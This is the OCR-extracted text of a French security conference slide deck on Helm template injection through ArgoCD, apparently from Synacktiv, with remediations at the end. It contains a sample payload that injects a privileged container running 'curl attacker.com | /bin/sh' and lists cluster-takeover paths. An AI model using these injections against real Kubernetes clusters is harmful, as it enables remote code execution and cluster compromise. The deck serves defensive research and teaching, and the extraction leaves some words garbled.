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Charting your way in
Injection de templates Helm

Paul Barbe



= SYNACKTIV

= Introduction Kubernetes, Helm et ArgoCD
= [njection et exploitation

= Remédiations

@ Disclaimer

Les exemples YAML ont été simplifieés pour la lisibilité
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= SYN

Introduction

Kubernetes et Helm



Introduction 5 SYNACKTIV

Kubernetes

= Plateforme d'orchestration de conteneurs
= Abstraction et partage de l'infrastructure

= Fonctionnement déclarataf
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Introduction

Kubernetes
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Introduction 5 SYNACKTIV

Manifest

kind: Pod

name: pod-web

spec:

containers:
- name: web-serveur
image: nginx:latest
Serveur Web
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Introduction

Manifest

SSTIC 2026

kind: Pod

name: pod-web

spec:
containers:

- name: web-serveur
image: nginx:latest
envFrom:

- configMapRef:
hame: ma-config

Serveur Web

MANFEST

kind: ConfigMap

name: ma-config

data:
APP_ENV: production
APP_PORT: "8080"

= SYNACKTIV



Introduction

Manifest
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kind: Pod

name: pod-web

spec:
containers:

- name: web-serveur
image: nginx:latest
envFrom:

- configMapRef:

volumes:
- name: volume-web
claimName: mon-pvc

hame: ma-config

Serveur Web

e J
it

MANFEST

kind: PersistentVolumeClaim
hame: mon-pvc
spec:

storage: 1Gi

Y
X

MANFEST

kind: ConfigMap

name: ma-config

data:
APP_ENV: production
APP_PORT: "8080"

= SYNACKTIV
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Introduction

Manifest

APPLICATION

Server Web Base de données

Q)

Cache
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APPLICATION

CONTAINER

server web

CONTAINER

server web

CONTAINER

server Web

SECRET

SECRET

el mE GE mE el mE

CONFIG

CONFIG

CONFIG

MANFEST

kind: Pod

name: pod-web

spec:
containers:

- name: web-serveur
image: nginx:latest
envFrom:

- configMapRef:
name: ma-config
volumes:

- name: volume-web
claimName: mon-pvc

kind: PersistentVolumeClaim
name: mon-pvc

spec:

storage: 16Gi

kind: ConfigMap

name: ma-config

data:

APP_ENV: production
APP_PORT: "8080"

kind: Pod
name: pod-database
spec:

containers:

- name: web-serveur
image: mysql:latest

= SYNACKTIV
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Introduction

Manifest
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kind: Pod

name: pod-web

spec:
containers:

- name: webh-serveur
image: nginx:latest
envFrom:

- configMapRef:
name: ma-config
volumes:

- hame: volume-web
claimName: mon-pvc

[name: mon-pvc
spec:
storage: 16Gi

[name: ma-config

data:

APP_ENV: production
APP_PORT: "8080"

kind: Pod
name: pod-database
spec:

containers:

- name: web-serveur
image: mysql:latest

= SYNACKTIV

n



Introduction

A
HELM

~A

Le gestionnaire de paquets pour

Kubernetes
SSTIC 2026

= SYNACKTIV

= Packaging et partage de déploiements

(Chart)
= Configuration dynamique et templating

= Gestion du cycle de vie
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Introduction

Helm chart

web-serveur/

—— Chart.yaml # Métadonnées du chart (nom, version, description)

— values.yaml # Valeurs de configuration

—— charts/ # Répertoire contenant les sous-charts (dépendances)
— templates/ # Répertoire des manifestes Kubernetes (fichiers YAML)

— deployment.yaml
—— secret.yaml
—— configmap.yaml
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= SYNACKTIV
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Introduction

Helm Chart

template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- hame: serveur-web

ports:

image: "ngnix:{{ .values.image.tag }}"

= SYNACKTIV

$ helm template ../web-serveur

kind: Pod
metadata:

name: 'web-prod'’
spec:

- containerPort: {{ .values.containerPort }}

Y

name: web-pod
image:

tag: '1.0.0'
containerPort: 80

SSTIC|2026
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containers:

- name: serveur-web
image: "ngnix:1.0.0"
ports:

- containerPort: 80

$ helm install web-deploiement ./web-serveur
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Introduction

Argo(D

= SYN



Introduction 5 SYNACKTIV

Argo(D
= Outil de déploiement continu GitOps pour Kubernetes
= Réconciliation automatique (synchronisation continue entre I'état de Git et le cluster)

= Visualisation et gestion via interface web

HELM rr

< >
Pull les sources b Synchronise I'état
du cluster

Repertolrs Git Argo CD Clusters Kubernetes
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Introduction

Argo(D

template.yaml

kind: Pod
metadata:

spec:
containers:

ports:

name: '{{ .values.name }}'

- hame: serveur-web
image: "ngnix:{{ .vValues.image.tag }}"

- containerPort: {{ .vValues.containerPort }}

7

s S

name: web-pod

image:
tag: '1.0.0'
containerPort:

80

SSTIC 2026
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= SYNACKTIV

Pull les sources

.

Synchronise |'état
du cluster

Argo CD Clusters Kubernetes
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Introduction

Argo(D

SSTIC 2026

template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- name: serveur-web
image: "ngnix:{{ .Values.image.tag }}"
ports:
- containerPort: {{ .values.containerPort }}

A

Pull les sources

name: web-pod

image: <+
tag: '1.0.0'
containerPort: 80

Argo CD

Synchronise |'état
du cluster

D>

Clusters Kubernetes

= SYNACKTIV

18



Introduction

Argo(D

SSTIC 2026

template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- name: serveur-web
image: "ngnix:{{ .Values.image.tag }}"
ports:
- containerPort: {{ .values.containerPort }}

Y

A

Pull les sources

name: web-pod

image: <—
tag: '1.0.0'
containerPort: 80

Argo CD

Synchronise |'état
du cluster

D>

Clusters Kubernetes

= SYNACKTIV



Injection et exploitation

= SYN
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Injection

Go template

= Documentation Helm: Appendix: YAML Techniques

= https:/helm.sh/fr/docs/chart_template_guide/yaml_techniques

Comportement

| Conserve les sauts de ligne, ajoute un saut final

| - Conserve les sauts de ligne, supprime le saut final

SSTIC 2026

= SYNACKTIV
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https://helm.sh/fr/docs/chart_template_guide/yaml_techniques

Injection

Exemple : Int
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template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- hame: serveur-web

image: "ngnix:{{ .values.image.tag }}"
ports:

- containerPort: {{ .values.containerPort }}

= SYNACKTIV

$ helm template web-serveur --debug

kind: Pod
metadata:

name: 'web-prod'
spec:

hame: web-pod

image:
tag: '1.0.0'
containerPort: |-
80

injectedAttribute: True

\4

containers:
- name: serveur-web
image: "ngnix:1.0.0"
ports:

- containerPort: 80
injectedAttribute: True

Helm 3: OK

Helm4:

Error: INSTALLATION FAILED:
.spec.injectedAttribute: field not

declared in schema
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Injection

Fxemple : String

template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- name: serveur-web

ports:

image: "ngnix:{{ .values.image.tag }}"

- containerPort: {{ .Values.containerPort }}

= SYNACKTIV

$ helm template web-serveur --debug

kind: Pod
metadata:

name: 'web-prod'
spec:

containers:

name: web-pod
image:
tag: |-
1.0.0"
imagePullPolicy:
containerPort: 80

"Always

SSTIC 206

- hame: serveur-web
image: "ngnix:1.0.0"
imagePullPolicy: "Always"
ports:
- containerPort: 80

Helm 3: OK
Helm 4 : OK
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Exploitation

Fxemple
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template.yaml

kind: Pod
metadata:
name: '{{ .values.name }}'
spec:
containers:
- name: serveur-web
image: "ngnix:{{ .values.image.tag }}"
ports:
- containerPort: {{ .values.containerPort }}

name: web-pod
image:
tag: |-
1.0.0"
securityContext:
privileged: true

command: [ "/bin/sh", "-c" ]
args:
- "curl attacker.com | /bin/sh

containerPort: 80

= SYNACKTIV

$ helm template web-serveur --debug

kind: Pod
metadata:
name: web-pod
spec:
containers:
- name: serveur-web
image: ngnix:1.0.0
securityContext:
privileged: true
command: [ "/bin/sh", "-c" ]
args:
- "curl attacker.com | /bin/sh"
ports:
- containerPort: 80
Helm 3: OK
Helm 4: OK

24




Injection

Tips

= Quid ?
= |njection en dehors d'une ressource exploitable

= Sans préserver une syntaxe valide pour Kubernetes (Helm 4)

SSTIC 2026

= SYNACKTIV
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Injection

Exploitation

template.yaml

kind: Service
metadata:
name: myapp
spec:
selector:
app. myapp
ports:
- port: 80
targetPort: {{ .values.containerPort }}
type: ClusterIP

containerPort: 80
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= SYNACKTIV

$ helm template web-serveur --debug

kind: Service
metadata:
name: myapp
spec:
selector:
app: myapp
ports:
- port: 80
targetPort: 80
type: ClusterIP

)

21



Injection

Fxploitation

containerPort: |-
80
kind: Pod
metadata:
name: nginx-pod
spec:
containers:
- name: nginx-container
image: nginx:latest
kind: Service
metadata:
name: nop
spec:

SSTIC 2026

template.yaml

kind: Service
metadata:
name: myapp
spec:
selector:
app: myapp
ports:
- port: 80
targetPort: {{ .values.containerPort }}
type: ClusterIP

— ! metadata:

= SYNACKTIV

$ helm template web-serveur --debug

kind: Service
metadata:
name: myapp
spec:
selector:
app: myapp
ports:
- port: 80
targetPort: 80

kind: Pod

name: nginx-pod
spec:
containers:

- name: nginx-container
image: nginx:latest
ports:

- containerPort: 80
kind: Service
metadata:
hame: nhop
spec:
type: ClusterIP
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Injection

Fxploitation

= [imitations:
= Variable utilisée dans des contextes similaires

image: '"nginx:{{.value.image.tag}}"
label:
tag: '{{.value.image.tag}}'

= Les droits du service account ArgoCD (Cluster-admin par défaut)

= Compromission du cluster (laissé en exercice)
= Deéploiement d'un pod privilégié pour compromettre les serveurs
= Création d'un (Cluster)Role ou (Cluster)RoleBinding pour élever ses privileges

= Déploiement d'un namespace pour contourner des Pod Securty Admission

SSTIC 2026

= SYNACKTIV
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Remediation

= SYN
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Remediation £ SYNACKTIV

Helm Chart

# values.schema.json
{
"$schema": "http://json-schema.org/schema",
ntypen: "Object",
"properties": {
"name": {
ntypen: "String",
"pattern": "A[a-z0-9-_/:]+$"
I
"containerPort": {
"type": Ilintll
I

"image": {
"tyge”: "?bJeCt", Echapper les entrées utilisateur
n agll :
"type": "string",
"pattern": "A(latest|1.1|dev)$" .
Val .im .
3 {{ alues age.tag | quote}}

1, {{ .Values.containerPort | int }}
"required": [

Iltag n
]

Définir un schéma dans values.schema.json

}

}

"required": [
"name" ,
"image" ,
"containerPort"

]
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Remediations B SYNACKTIV

Argo(D

= Restreindre les ressources déployables par un projet ArgoCD

apiVersion: argoproj.io/vlalphal
kind: AppProject
metadata:

name: default

namespace: argocd

spec:
# ... other project specs ...
clusterResourceWhitelist:

- group: apps
kind: Deployment

= Réduire les privileges du compte de service ArgoCD (cluster-admin par défaut)
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Remediations B SYNACKTIV

Kubernetes

= Restrictions fines via les ValidatingAdmissionPolicies et MutatingAdmissionPolices
(1.36)
= Built-in

= Demande un effort non négligeable

= Dynamic admission control

= Kyverno, OPA, kubewarden ...

= Solution ad-hoc
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Merci!

Envie de plus de details ? Blog-post a venir sur

= SYN
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https://synacktiv.com/
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https: //www.linkedin.com/company/synacktiv
https://x.com/synacktiv
https:/ /bsky.app/profile/synacktiv.com

https://synacktiv.com
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